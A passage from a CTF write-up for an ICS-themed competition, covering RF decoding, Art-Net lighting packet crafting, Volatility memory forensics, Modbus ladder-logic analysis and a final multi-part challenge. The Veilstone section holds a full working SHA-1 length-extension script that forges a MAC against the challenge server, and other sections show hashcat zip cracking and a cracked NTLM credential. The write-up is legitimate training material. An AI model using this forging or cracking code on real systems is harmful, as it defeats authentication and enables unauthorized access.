It sounds like each message starts with 1011 per the FCC documentation and then the rest is data. We’re also told that the data bits come in two forms: 001 for 0 and 011 for 1. If we remove the preamble (1011) from the start of the message for button press one, we have the following set of 3 character data bits:
011 001 001 011 001 011 001 001 001 001 001
That’s 11 data bits (1 0 0 1 0 1 0 0 0 0 0 0) and the 4 bit preamble. The answer of 11 solved the challenge.
Modulation Interpretation Investigation – 3
For this last challenge, we have to determine what data bits are sent with a different dip switch setting than what we have for the existing 2 captures. To figure this out, I first transcribed the data bits of each button press from each remote to see what changed based on the DIP configs between them (1001 and 1011).
I got this transcript:
If you look at the data, the first 4 bits of each seem to be the DIP setting (1001 and 1011), the rest of them, for buttons 1-5 after the first 4 bits are the same.
This meant to find the new setting we just had to encode the new DIP setting (1110) and then include the button 4 code (0000010), resulting in the 11 data bits of: 11100000010
Veilstone
This section was comprised of the following scenarios:
- Burnt Bridge – Analysis of a memory dump from a compromised machine
- Just Some Light Work – Analysis of production lighting control protocols
- Ladder Logic of Success – Analysis of Modbus traffic and ladder logic to find the cause of anomalous behavior
Just Some Light Work
Just Some Light Work – 1
The files for this challenge can be found here: https://drive.google.com/drive/folders/1O591DmbvHIzI312nR5t7YoAUpddBfY_C?usp=sharing
This was a fun challenge! We’re given a PCAP of dmx traffic and have to find which light is over the podium. We know characteristics of the light (more red than the others).
Looking at the pcap, it is full of packets like these:
From the PDF we know there are 11 channels per light each of 1 byte in size:
To find the correct light, I wrote a script to read the packets and try to find the podium light. It looks through each and puts the red values from each light into a list of averages, we take the average and use that to find the light.
import pyshark
import numpy as np
import logging
import re
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
def parse_dmx_data(dmx_string):
# Extract percentage values using regex
percentages = re.findall(r'(\d+)%', dmx_string)
return [int(p) for p in percentages]
def extract_dmx_data(pcap_file):
cap = pyshark.FileCapture(pcap_file, display_filter='artnet')
accumulated_data = []
packet_count = 0
for packet in cap:
packet_count += 1
logging.info(f"Processing packet {packet_count}")
try:
if 'DMX_CHAN' not in packet:
logging.warning(f"Packet {packet_count} does not have a 'DMX_CHAN' layer")
continue
dmx_data = packet.dmx_chan.dmx_data
logging.debug(f"Raw DMX data: {dmx_data}")
dmx_values = parse_dmx_data(dmx_data)
logging.debug(f"Parsed DMX values: {dmx_values}")
accumulated_data.extend(dmx_values)
# If we have accumulated enough data for all lights, process it
if len(accumulated_data) >= 506: # 46 lights * 11 channels
lights_data = process_accumulated_data(accumulated_data[:506])
cap.close()
return lights_data
except Exception as e:
logging.error(f"Error processing packet {packet_count}: {str(e)}")
cap.close()
logging.warning("Finished processing all packets without accumulating enough data")
return process_accumulated_data(accumulated_data)
def process_accumulated_data(data):
lights_data = [[] for _ in range(46)]
for light in range(46):
start_index = light * 11
light_values = data[start_index:start_index+11]
lights_data[light] = light_values
logging.debug(f"Light {light} values: {light_values}")
return lights_data
def analyze_red_values(lights_data):
red_averages = []
for light_index, light_data in enumerate(lights_data):
if not light_data:
logging.warning(f"No data for light {light_index}")
red_averages.append(0)
continue
red_value = light_data[4] # Channel 5 is Red
red_averages.append(red_value)
logging.info(f"Light {light_index} red value: {red_value}")
if all(avg == 0 for avg in red_averages):
logging.error("No valid red values found for any light")
return None
podium_light = np.argmax(red_averages)
return podium_light
# Main execution
pcap_file = '/mnt/c/Users/stewa/Downloads/capture_artifact.pcap'
logging.info(f"Starting analysis of {pcap_file}")
lights_data = extract_dmx_data(pcap_file)
podium_light = analyze_red_values(lights_data)
if podium_light is not None:
logging.info(f"The light over the podium is likely light number: {podium_light}")
print(f"The light over the podium is likely light number: {podium_light}")
else:
logging.error("Unable to determine the podium light due to insufficient data")
print("Unable to determine the podium light due to insufficient data")
I ran the script and found that the light is 25.
This gave us the correct flag.
Just Some Light Work – 2
This was another fun challenge, we need to send the appropriate packets at least 10x per second to the server for awhile until it sends a response back. I struggled hard with this one because….I counted wrong, 0-indexed values can get ya…
To format the flag properly, we need to know two configurations. 1 for the non-podium lights, another for the podium lights.
These are my functions for the two kinds of lights:
def get_podium_light_dmx():
return bytes([
128, # Pan 50%
128, # Tilt 50%
0, # Pan Continuous Movement (No action)
0, # Tilt Continuous Movement (No action)
0, # Red 0%
0, # Green 0%
0, # Blue 0%
255, # White 100%
32, # Shutter open
255, # Dimmer 100%
255 # Zoom 100%
])
This is my full script:
import socket
import struct
import time
# Constants
DESTINATION_IP = "challenges.icsjwgctf.com"
DESTINATION_PORT = 6454 # Art-Net default port
# DMX Channels for Light over Podium (Light #25)
def get_podium_light_dmx():
return bytes([
128, # Pan 50%
128, # Tilt 50%
0, # Pan Continuous Movement (No action)
0, # Tilt Continuous Movement (No action)
0, # Red 0%
0, # Green 0%
0, # Blue 0%
255, # White 100%
32, # Shutter open
255, # Dimmer 100%
255 # Zoom 100%
])
# DMX Channels for Remaining Lights (Blue-Green)
def get_other_lights_dmx():
return bytes([
128, # Pan 50%
0, # Tilt 0% (Pointing up)
0, # Pan Continuous Movement (No action)
0, # Tilt Continuous Movement (No action)
0, # Red 0%
64, # Green 25%
179, # Blue 70%
0, # White 0%
32, # Shutter open
128, # Dimmer 50%
26 # Zoom 10%
])
# Craft the complete DMX data for 46 lights (512 channels)
def create_dmx_data():
dmx_data = bytearray(512)
# Place podium light DMX data at the correct position (Light #25 starts at channel 265)
podium_dmx_data = get_podium_light_dmx()
dmx_data[275:275 + len(podium_dmx_data)] = podium_dmx_data
# Fill in other lights' DMX data for the remaining lights
other_lights_dmx_data = get_other_lights_dmx()
for i in range(46):
if i != 25: # Skip light 25, already set
start_index = i * 11
dmx_data[start_index:start_index + len(other_lights_dmx_data)] = other_lights_dmx_data
return bytes(dmx_data)
# Art-Net packet creation with proper field handling
def create_artnet_packet(dmx_data):
packet = bytearray()
# Art-Net ID ("Art-Net\x00")
packet.extend(b'Art-Net\x00')
# Correctly pack opcode (0x5000)
packet.extend(struct.pack('<H', 0x5000)) # Opcode for ArtDMX (20480 in decimal)
# Protocol version
packet.extend(struct.pack('>H', 14)) # ProtVer is 14
# Sequence number and physical output port (1 byte each)
packet.extend(bytes([0])) # Sequence number (0 for simplicity)
packet.extend(bytes([0])) # Physical output port (0 for default)
# Universe
packet.extend(struct.pack('>H', 0)) # Universe (set to 0 for default)
# DMX data length
packet.extend(struct.pack('>H', len(dmx_data))) # DMX length (512 channels)
# Add the DMX data
packet.extend(dmx_data)
return packet
# Function to send Art-Net packets
def send_packets():
# Create UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Create DMX data and Art-Net packet
dmx_data = create_dmx_data()
packet = create_artnet_packet(dmx_data)
try:
while True:
# Send packet
sock.sendto(packet, (DESTINATION_IP, DESTINATION_PORT))
print(f"Sent Art-Net packet to {DESTINATION_IP}:{DESTINATION_PORT}")
# Receive response
response, addr = sock.recvfrom(1024)
print(f"Received response from {addr}:")
print(f"Raw response: {response}")
print(f"Hex response: {response.hex()}")
# Try to decode the response as Art-Net
if response.startswith(b'Art-Net\x00'):
opcode = struct.unpack('<H', response[8:10])[0]
print(f"Art-Net Opcode: 0x{opcode:04x}")
if opcode == 0x2100: # ArtPoll
print("Received ArtPoll packet")
elif opcode == 0x2000: # ArtPollReply
print("Received ArtPollReply packet")
# You can add more detailed parsing of ArtPollReply here
elif opcode == 0x5000: # ArtDmx
print("Received ArtDmx packet")
dmx_length = struct.unpack('>H', response[16:18])[0]
print(f"DMX data length: {dmx_length}")
print(f"DMX data: {response[18:18+dmx_length].hex()}")
else:
print(f"Unknown Art-Net packet type: 0x{opcode:04x}")
else:
print("Received non-Art-Net response")
time.sleep(0.05) # 10 Hz (0.1 second interval)
except KeyboardInterrupt:
print("Stopping packet sending.")
finally:
sock.close()
# Main function
if __name__ == "__main__":
send_packets()
The thing which tripped me up was this line: dmx_data[275:275 + len(podium_dmx_data)] = podium_dmx_data
I was trying to be smart by inserting the correct data in at that point. However, like an idiot, I was off by 1 light’s distance and spent HOURS working on this.
Once I realized that though, I send the message through for about 10-15 seconds and it started giving the correct reply!
Just Some Light Work – 3
Files available here: https://drive.google.com/drive/folders/1O591DmbvHIzI312nR5t7YoAUpddBfY_C?usp=drive_link
This challenge was fun, the video is a flashing screen and the audio is a toggling beep. My first thought was that this was bits at some line rate but none of the analysis worked successfully and I just had a lot of gibberish binary data.
My teammade @4ndr got this solve by realizing it was Morse code and decoding it!
Burnt Bridge
I always enjoy windows forensics challenges and this was no different. I wish it went a bit deeper but it was nevertheless very fun!
Burnt Bridge – 1
Here’s the memdump file for these challenges: https://drive.google.com/drive/folders/1Pk39_C06Zdljz8GE14EC4nCVMS_qWPbn?usp=drive_link
We use Volatility a TON for this challenge. For this first one, we do ‘imageinfo’ to find out about it!
We see it’s either WinXPSP2x86 or WinXPSP3x86. It was SP3.
Burnt Bridge – 2
For this one, we’d need to find which browser and process ID it’s running under. We use the pslist
command to do this:
Burnt Bridge – 3
For this one, we need to extract the binary of the running process and get the version of it.
First, I listed the binaries to find the firefox binary:
From this, I find the information to dump the binary itself:
Here’s the result where we can see it’s version 52.9.0
Burnt Bridge – 4
For this one, we want to look at the firefox history for something which indicates this web console.
I’m sure there’s a good volatility way to do this but I just decided to look for the strings in the memory dump:
Burnt Bridge – 5
For this one, we need to look at the recent connections to try to find an RDP session. We run connscan
and then look for 3389 (RDP port) and find the flag that way:
Burnt Bridge – 6
In looking at that, we also see one other weird outbound connection to port 4444 which is often used as a port for hacking stuff for some reason. The PID of this is 972.
We can run pslist again and see that PID 972 is associated with a svchost.exe process:
Burnt Bridge – 7
For the last challenge we have to find a username and password from a suspicious zip file included in the memdump. Since we know it’s a zip file, I decided to do a filescan and search for zip:
From this, we see two suspicious files – stuff.zip on the desktop and in the ‘My Documents’ folders.
I then use this command to download the output: .\volatility.exe -f memdump.raw --profile=WinXPSP3x86 dumpfiles -Q 0x213b808 -D output_directory/
Looking into the zip file we see a lot of files:
The most promising of these is ‘hash.txt’ which may contain NTLM/LM hashes for the Windows users.
We get this from the files:
I then went to Crackstation to drop the hash in and see the value:
So there we go! vailstoan:cheesecake
for the win.
Ladder Logic of Success
Ladder Logic of Success – 1
For this one, I was pretty unsure what to look for but decided to start with the Modbus dashboard in Malcolm. There was already a nice table made of ‘modbus writes’ and looking at the values, there was one obvious outlier:
I put in 13337 and we got the first flag.
Ladder Logic of Success – 2
I filtered based on the IP address identified with the 13337 value before and found the ‘modbuls detailed’ chart while also filtering it to the READ_COILS event. This gave a nice table of results. It looked like the rows had a bunch of T/F values and were limited to 1 ‘T’ per line.
I did a search with highlight on the data and saw when 2 ‘T’ values started showing up in the same row:
Ladder Logic of Success – 3
In this image we see a logic diagram:
I don’t really know what is going on here but it looked like a bunch of stuff went into SubRoutine so I tried that (after FourHundredFortyOneConst since that was suspicious sounding.
Ladder Logic of Success – 4
In this case we are told that all pumps were set to a value of 10 when weird things happened. It looks like IN1,IN2, IN3,IN4 in the chart need to add to 441 to trigger the subroutine.
Looking closely at this, we can start to determine items fro mthe chart:
The ‘eq’ check of the subrouting is seeing if the values add to 441.
The prior step of that has 3 variables and then an input which comes from a MUL step previously. The MUL is done against 2 Pumps. Per the prompt, we know the pumps are all set to 10. Therefore we know IN1 is equal to 100.
Working backwards we see an add step which has an input of ‘TenConst’ which I assume iss 10 and an input of a prior ‘MUL’ step. It outputs whatever Variable3 is equal to.
If we step back to the MUL we see it is ‘Valve1Opened’ and a Pump multiplied together. Since we know the pump is 10 we need to figure out what Valve1 is. Looking at the bottom line we see that when the subroutine happens (which seems to turn everything off) we set the Valve#Opened
states to 0. I would assume the ‘on’ state would be 1 in that case. This was a BAD mistake. I should have made it more of an algebra equasion. Looking above we see liens 2 and 3 seems to show the OperatorPumpSPD goes to the PumpSPD, then beneath it a parallel OperatorValve# to Valve#Opened assignments. I’m not sure how we were supposed to figure it but if we assume the opened value is 10 instead of one, we’re able to make sense of the output. I think you can do this by an algebra in the form of:
x*10 = (x*10) + 12 = Var1 = IN2
x*10 = (x*10) + 19 = Var2 = IN3
x*10 = (x*10) + 10 = Var3 = IN4
10 * 10 = 100 = IN1
(x * 10) + 12 + (x*10) + 19 + (x*10) + 10 + 100 = 441
(x*10) + (x*10) + (x*10) = 300
x = 10
If x = 10 our for IN values are:
IN1=112
IN2=119
IN3=110
IN4=100
Those decimal numbers to ASCII spell “pwnd”. This was the flag.
Elite Four
We finally made it. The last challenge is worth a whopping 860 points and is a combination of 4 challenges.
The challenge files can be found here: https://drive.google.com/drive/folders/1it7Gj-kMtiIoQkNLLXjYA5RAL8k03Nxq?usp=drive_link
The 4 unlock codes were received by completing the various scenarios and are:
Celestic Password: 610148e588a2bb81387c501f603c194586cc16dc
Jubilife Password: 30272a6cf9420ad29110a84c700f5c7db2fde08d
Veilstone Password: dce1a3126f787599bf7decdbfc1e61bcdd6c3a71
Snowpoint Password: daf7d54bf712268be36a79a035e9fc362271aab4
The final solve is:
So let’s go through these 4!
Celestic Challenge:
In order for Aaron Celestic to provide you his secret key, he first wants you to answer some questions.
The good news is they are simple questions...the bad news is there are A LOT of them (hundreds).
All challenges contain binary operations and operands and answers are provided in hex. Aaron is quite particular about his answers, and will only accept answers in hex with prefix 0x.
Examples:
* 0x05 = valid answer
* 0x5 = invalid answer
* 05 = invalid answer
* 5 = invalid answer
Aaron's initial password for accessing his questions is "yanmega" and he is waiting for you to reach out to him at "challenges.icsjwgctf.com:9001".
Answer all of Aaron's questions correctly and he will tell you his secret key.
Good luck!
This one wasn’t too hard, after connecting a few times to see what the challenges looked like, I wrote a python script to solve the questions and get the flag:
import socket
import re
import time
def connect_to_server(host, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
return sock
def receive_data(sock, timeout=5):
sock.settimeout(timeout)
data = b""
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
if b"\n" in chunk:
break
except socket.timeout:
pass
sock.settimeout(None)
return data.decode().strip()
def send_data(sock, data):
sock.sendall(f"{data}\n".encode())
def solve_binary_operation(operation):
parts = re.findall(r'0x[\dA-Fa-f]+|>>|<<|\w+', operation)
if len(parts) != 3:
raise ValueError(f"Invalid operation format: {operation}")
left, op, right = parts
left = int(left, 16)
right = int(right, 16) if '0x' in right else int(right)
if op == 'OR':
result = left | right
elif op == 'AND':
result = left & right
elif op == 'XOR':
result = left ^ right
elif op == 'SUB':
result = left - right
elif op == 'ADD':
result = left + right
elif op == 'MUL':
result = left * right
elif op == 'DIV':
result = left // right # Integer division
elif op == '>>':
result = left >> right
elif op == '<<':
result = left << right
else:
raise ValueError(f"Unknown operator: {op}")
# Ensure the result is positive and within 32-bit range
result = result & 0xFFFFFFFF
hex_result = f"0x{result:02X}"
return hex_result
def main():
host = "challenges.icsjwgctf.com"
port = 9001
password = "yanmega"
sock = connect_to_server(host, port)
# Receive initial prompt and send password
data = receive_data(sock)
print(f"Received: {data}")
send_data(sock, password)
challenge_count = 0
while True:
data = receive_data(sock)
print(f"Received: {data}")
if not data:
print("Received empty response. Waiting for next challenge...")
time.sleep(1)
continue
if "Incorrect" in data:
print(f"Error: Incorrect answer after {challenge_count} challenges")
break
elif "secret key" in data.lower():
print(f"Success! Secret key found after solving {challenge_count} challenges.")
break
# Extract the binary operation
match = re.search(r'Challenge:\s*(.*?)\s*:', data)
if match:
operation = match.group(1)
try:
answer = solve_binary_operation(operation)
challenge_count += 1
print(f"Challenge {challenge_count}: Sending answer: {answer}")
send_data(sock, answer)
except ValueError as e:
print(f"Error after {challenge_count} challenges: {e}")
break
else:
print("No question found. Continuing...")
sock.close()
if __name__ == "__main__":
main()
The result:
Veilstone’s Challenge
Here’s the text of Veilstone’s challenge:
Lucian Veilstone wants to test our your psychic cryptography capabilities before providing you his flag.
Lucian is using a SHA-1 secret-prefix HMAC for authentication SHA-1(key + message).
For instance, if his key was "\x63\x68\x61\x6e\x67\x69\x6e\x67\x5f\x73\x65\x63\x72\x65\x74\x5f\x6b\x65\x79\x21" (changing_secret_key!) and message was "super secret message", the SHA-1 HMAC would be:
SHA-1("changing_secret_key!super secret message") = 013fa8d0c73faacb43f09d6e1a29ec6f93d1159d
Lucian is constantly changing his key, but luckily all of his keys are always 20 characters/bytes long.
Lucian's messages are always "mr.mime;espeon;bronzong;alakazam;", but he would like you to break his SHA-1 HMAC by sending him a new/forged message and HMAC without knowing the key.
Lucian requires the forged message you send him to contain both the original message "mr.mime;espeon;bronzong;alakazam;" and a new string ";gallade;".
If you reach out to Lucian at "challenges.icsjwgctf.com:9003" and provide him the password "crypto_psychic", he will give you his message and resulting HMAC and then ask you for your new/forged message. If your message contains the correct strings and the HMAC is verified against his key, he will provide you his secret key.
This uses an attack called the ‘SHA Length Expansion’ attack which, when given some information, lets you sign a message as someone even if you don’t have their secret key:
import hashlib
import struct
import socket
import time
import binascii # Added for better binary data handling
def sha1(message):
return hashlib.sha1(message).digest()
def sha1_padding(message):
ml = len(message) * 8
message += b'\x80'
message += b'\x00' * ((56 - (len(message) % 64)) % 64)
message += struct.pack('>Q', ml)
return message
def sha1_state(digest):
return struct.unpack('>5I', digest)
def sha1_compress(state, block):
w = list(struct.unpack('>16I', block)) + [0] * 64
for i in range(16, 80):
w[i] = ((w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16]) << 1) | (
(w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16]) >> 31
)
w[i] &= 0xffffffff # Ensure w[i] remains within 32 bits
a, b, c, d, e = state
for i in range(80):
if i < 20:
f = (b & c) | ((~b) & d)
k = 0x5A827999
elif i < 40:
f = b ^ c ^ d
k = 0x6ED9EBA1
elif i < 60:
f = (b & c) | (b & d) | (c & d)
k = 0x8F1BBCDC
else:
f = b ^ c ^ d
k = 0xCA62C1D6
temp = ((a << 5) | (a >> 27)) + f + e + k + w[i]
temp &= 0xffffffff # Ensure temp remains within 32 bits
e = d
d = c
c = ((b << 30) | (b >> 2)) & 0xffffffff
b = a
a = temp
return (
(state[0] + a) & 0xffffffff,
(state[1] + b) & 0xffffffff,
(state[2] + c) & 0xffffffff,
(state[3] + d) & 0xffffffff,
(state[4] + e) & 0xffffffff,
)
def sha1_length_extension(original_message, original_hash, append_message, key_length):
print("[*] Starting SHA-1 Length Extension Attack")
state = sha1_state(bytes.fromhex(original_hash))
print(f"[*] Original SHA-1 State: {state}")
original_message_bytes = original_message.encode()
simulated_key = b'A' * key_length
print(f"[*] Simulated Key (hidden): {'A' * key_length}")
padded_original = sha1_padding(simulated_key + original_message_bytes)
print(f"[*] Padded Original Message Length: {len(padded_original)} bytes")
padding = padded_original[key_length + len(original_message_bytes):]
print(f"[*] Extracted Padding: {padding.hex()}")
new_message = original_message_bytes + padding + append_message.encode()
print(f"[*] New Message Length: {len(new_message)} bytes")
print(f"[*] New Message (hex): {new_message.hex()}")
state = sha1_state(bytes.fromhex(original_hash))
for i in range(0, len(padding + append_message.encode()), 64):
block = (padding + append_message.encode())[i:i+64].ljust(64, b'\x00')
state = sha1_compress(state, block)
new_hash = struct.pack('>5I', *state).hex()
print(f"[*] Forged HMAC: {new_hash}")
return new_message, new_hash
def solve_challenge():
host = "challenges.icsjwgctf.com"
port = 9003
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
try:
print(f"[*] Connecting to {host}:{port}")
s.connect((host, port))
s.settimeout(30) # 30 seconds timeout
# Receive initial prompt
initial_prompt = s.recv(1024).decode().strip()
print(f"Server: {initial_prompt}")
# Send password
password = "crypto_psychic\n".encode()
s.sendall(password)
print(f"[*] Sent password: {password.decode().strip()}")
# Receive original message and HMAC
response = s.recv(1024).decode().strip()
print(f"Server response: {response}")
# Split the response into message, HMAC, and forged message prompt
try:
lines = response.split("\n")
message_part = lines[0]
hmac_part = lines[1]
forged_prompt = lines[2] if len(lines) > 2 else ""
actual_message = message_part.split("Lucian's Message: ")[1].strip()
original_hmac = hmac_part.split("Lucian's HMAC:")[1].strip()
print(f"[*] Actual Message: {actual_message}")
print(f"[*] Original HMAC: {original_hmac}")
print(f"[*] Forged Message Prompt: {forged_prompt}")
except Exception as e:
print(f"[!] Failed to parse server response: {e}")
print(f"[!] Full server response: {response}")
return
print("[*] Preparing to perform length extension attack...")
# Perform length extension attack
try:
key_length = 20
append_message = ";gallade;" # Add back the leading semicolon
new_message, new_hmac = sha1_length_extension(
actual_message, original_hmac, append_message, key_length
)
print("[*] Length extension attack completed successfully.")
# New logging for forged message details
print("\n[*] Forged Message Details:")
print(f" - Original Message: {actual_message}")
print(f" - Appended Text: {append_message}")
print(f" - Full Forged Message (hex): {new_message.hex()}")
print(f" - Full Forged Message (ascii, non-printable chars replaced):")
print(f" {new_message.decode('ascii', errors='replace')}")
print(f" - Forged Message Length: {len(new_message)} bytes")
print(f" - Forged HMAC: {new_hmac}\n")
except Exception as e:
print(f"[!] Error during length extension attack: {e}")
return
# Send the forged message (only the visible part)
try:
print("[*] Sending Forged Message to Server...")
visible_message = actual_message + append_message
s.sendall(visible_message.encode() + b"\n")
print(f"[*] Sent Forged Message: {visible_message}")
except Exception as e:
print(f"[!] Error sending forged message: {e}")
return
# Receive prompt for forged HMAC
try:
forged_prompt = s.recv(1024).decode().strip()
print(f"Server: {forged_prompt}")
except socket.timeout:
print("[!] Timeout while waiting for server prompt after sending forged message.")
return
except Exception as e:
print(f"[!] Error receiving server prompt after forged message: {e}")
return
# Send forged HMAC
try:
print("[*] Sending Forged HMAC to Server...")
s.sendall((new_hmac + "\n").encode())
print(f"[*] Sent Forged HMAC: {new_hmac}")
except Exception as e:
print(f"[!] Error sending forged HMAC: {e}")
return
# Receive response
try:
print("[*] Waiting for server response...")
response = s.recv(4096).decode().strip()
print(f"Server Response: {response}")
# You can add more specific checks here
if "Congratulations" in response:
print("[*] Challenge solved successfully!")
elif "Invalid" in response:
print("[!] The server rejected our forged message or HMAC.")
else:
print("[?] Unexpected server response. Please check the output.")
except socket.timeout:
print("[!] Timeout while waiting for final server response.")
except Exception as e:
print(f"[!] Error receiving final server response: {e}")
except socket.timeout:
print("[!] Socket timeout occurred. The server didn't respond in time.")
except Exception as e:
print(f"[!] An unexpected error occurred: {e}")
if __name__ == "__main__":
solve_challenge()
This python is buggy because I am a bad programmer BUT it worked.
Jubilee
Bertha Jubilife hid her flag in the specially crafted zip file: jubilife_challenge.zip.
Bertha has a favorite password TYPE, and luckily she only uses lowercase dictionary words for all her passwords.
The zip file can be found here: https://drive.google.com/drive/folders/1it7Gj-kMtiIoQkNLLXjYA5RAL8k03Nxq?usp=drive_link
Thanks to Ermac from team CoB for sharing their solution to this one:
- hashcat.exe -m 17200 -a 0 jubilife_challenge_hash.txt gutenberg-all-lowercase-words.txt –show
- UNZIP=’-P ground’ binwalk -Mre jubilife_challenge.zip
- ..\steghide\steghide.exe extract -sf jubilife_challenge.jpg
- cat jubilife_secret.txt
Congratulations! You have completed Bertha Jubilfie’s challenge.
Bertha’s Secret Key is: ce1e5df1d63331a93fd9f99b2a3a62d795364ad7
This was a stego challenge with the data hidden in the jpg file.
Snowpoint Challenge:
This zip contains a readme and a binary file:
Flint Snowpoint hid his secret key on his remote server located at "challenges.icsjwgctf.com:9002".
His server is running the "snowpoint_connection" executable.
This is a pretty straightforward remote buffer overflow challenge.
Introductions & Conclusion Challenges
The following challenges were ‘Introductions’ to various scenarios, they mostly included the answer or were a simple action to get the flag. They were worth 50 points each. Here’s what they generally looked like:
This is the list of Introduction challenges:
- CTF Introduction
- ICS & Security Basics – Introductions
- Introduction to Malcolm
- Celestic Introduction
- Jubilife Introduction
- Snowpoint Introduction
- Veilstone Introduction
Total points for intro challenges: 350
The following challenges ask for feedback on their scenario. They were primarily in the form of something like this:
Here is the complete list of feedback challenges:
- ISC & Security Basics – Conclusion
- Introduction to Malcolm – Conclusion
- Remotely Exploitative – Conclusion
- RAT from powersHELL – Conclusion
- Dropping BOMs – Conclusion
- An Alarming BAC(net) Pain – Conclusion
- The History Channel – Conclusion
- Chrome-Plated Nonsense – Conclusion
- The Phish Tank – Conclusion
- CAN You Fix It? Dashboard – Conclusion
- CAN You Fix It? Firmware – Conclusion
- Modulation Interpretation Investigation – Conclusion
- Ladder Logic of Success – Conclusion
- Just Some Light Work – Conclusion
- Burnt Bridge – Conclusion
Total points for Conclusion challenges: 75
There was one other type of conclusion for the four main scenarios (Veilstone, Jubilife, etc). These were worth 105 points and included codes to unlock parts of the ‘Elite Four’ challenge. These looked like this:
Celestic didn’t explicitly have this challenge instead it had the Elite Four challenge which included this info:
I didn’t have a screenshot of the Snowpoint challenge but it had the following as its password: daf7d54bf712268be36a79a035e9fc362271aab4
Total Points: 315 (Plus the unlock of the Elite Four challenges)
Acknowlegements
Special thanks to the following people for helping with the writeup or during the CTF, y’all are great!
- rfhacker for the invite and time on the CTF!
- 4ndr for some excellent solves and spending their limited time on the CTF.
- Ermac for helping get information on the challenges our team didn’t solve.
- DennisLinuz for explaining how the final CAN challenge worked!